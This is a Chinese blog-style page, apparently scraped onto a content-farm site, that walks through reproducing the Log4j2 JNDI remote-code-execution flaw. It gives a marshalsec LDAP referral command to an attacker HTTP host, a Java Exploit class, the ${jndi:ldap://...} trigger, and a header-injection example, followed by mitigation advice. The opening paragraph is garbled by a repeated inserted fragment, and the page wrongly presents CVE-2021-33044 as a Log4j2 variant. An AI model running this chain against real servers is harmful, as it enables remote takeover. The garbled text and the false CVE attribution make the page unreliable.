搜索

cve202133044漏洞复现

发表于 2026-10-17 06:07:14 来源:烟消火灭网

2021年12月,洞复Apache Log4j2 被曝出一个远程代码执行漏洞,洞复CVSS评分10.0。洞复这个分数意味着什么?洞复满分。攻击者不需要任何认证,洞复不需要和目标系统有任何交互,洞复发一个字符串就能拿到服务器权限。洞复CVE-2021-33044 是洞复其中一个变体——准确说,它跟最初的洞复 CVE-2021-44228 属于同一家族,触发路径略有不同,洞复但核心问题一样:Log4j2 在记录日志时,洞复会解析 ${ } 包裹的洞复内容,而其中 ${ jndi:ldap://...} 这种写法,洞复会触发 JNDI 远程加载。洞复

要复现这个漏洞,洞复环境搭建其实不复杂,但有几个坑我踩过,值得先说出来。

环境准备:别急着上最新版

你需要一个存在漏洞的 Log4j2 版本。2.14.1 及以下都受影响,2.15.0-rc1 修了 JNDI 远程加载但没修本地利用,2.15.0-rc2 才真正堵住大部分路径。我直接用了 2.14.1,从 Maven 拉下来就行。

Java 版本也有讲究。JDK 8u191 之后,JNDI 默认不再信任远程 codebase,这会让利用链断掉。所以要么用低版本 JDK(比如 8u181),要么在启动参数里手动加 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true。我图省事,直接切了 JDK 8u181。

攻击机这边,需要两样东西:一个 LDAP 服务,用来返回恶意引用;一个 HTTP 服务,托管编译好的 .class 文件。很多人用 marshalsec 起 LDAP,我也用了,命令就一行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.100:8888/#Exploit"

它会在 1389 端口监听,收到请求后返回一个指向 http://192.168.1.100:8888/Exploit.class 的引用。

写一个能弹计算器的 Exploit

恶意类不需要多复杂,能证明执行就行。我写了个最简单的:

public class Exploit {  static {  try {  Runtime.getRuntime().exec("calc"); } catch (Exception e) {  e.printStackTrace(); } } }

编译成 .class 放到 HTTP 根目录。注意,类名必须和文件名一致,包名可以没有,但 LDAP 返回的 URL 里 # 后面跟的类名要匹配。

触发点在哪

漏洞触发不挑地方,只要 Log4j2 打印了用户可控的字符串。我写了个最简的测试类:

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnDemo {  private static final Logger logger = LogManager.getLogger(VulnDemo.class); public static void main(String[] args) {  logger.error("${ jndi:ldap://192.168.1.100:1389/Exploit}"); } }

跑起来,计算器就弹出来了。整个过程不到两秒。

但这里有个细节:如果你用的是 IDE 直接运行,可能会因为 classpath 里混入了高版本 JDK 的模块而失败。我一开始在 IDEA 里跑没反应,换成命令行 java -cp 指定依赖才成功。别小看这个,排查了快半小时。

为什么这个漏洞影响这么大

Log4j2 的装机量太恐怖了。它不像某些组件只出现在特定框架里,而是被 Kafka、Elasticsearch、Spring Boot 默认日志系统间接依赖。你甚至不知道自己用了它。攻击面广到这种程度,10.0 分不冤。

而且利用门槛极低。不需要反序列化链,不需要绕过复杂防护,一个 ${ jndi:} 字符串就够。我试过在 HTTP Header 里塞 payload,比如 User-Agent: ${ jndi:ldap://...},只要服务端用 Log4j2 记录了 Header,照样中招。

修复建议不是升级就完事

官方在 2.15.0-rc2 里默认禁用了 JNDI 消息查找,但如果你代码里显式用了 ${ jndi:},还是得手动关。更稳妥的做法是设 log4j2.formatMsgNoLookups=true,或者直接升级到 2.17.1 以上。

另外,别以为内网就安全。这个漏洞的典型利用场景就是先通过外网服务打进来,再横向移动到内网。JDK 版本限制只挡了远程 codebase,本地 classpath 利用在特定条件下依然可行。

复现这个漏洞的意义不在于炫技,而是理解一个看似无害的日志组件,怎么因为一个设计决策变成核弹级入口。Log4j2 的 lookup 机制本意是方便配置动态化,结果成了 RCE 直通车。这种“功能即漏洞”的案例,比单纯的缓冲区溢出更值得警惕。

随机为您推荐
友情链接
版权声明:本站资源均来自互联网,如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

Copyright © 2016 Powered by cve202133044漏洞复现,烟消火灭网   sitemap

回顶部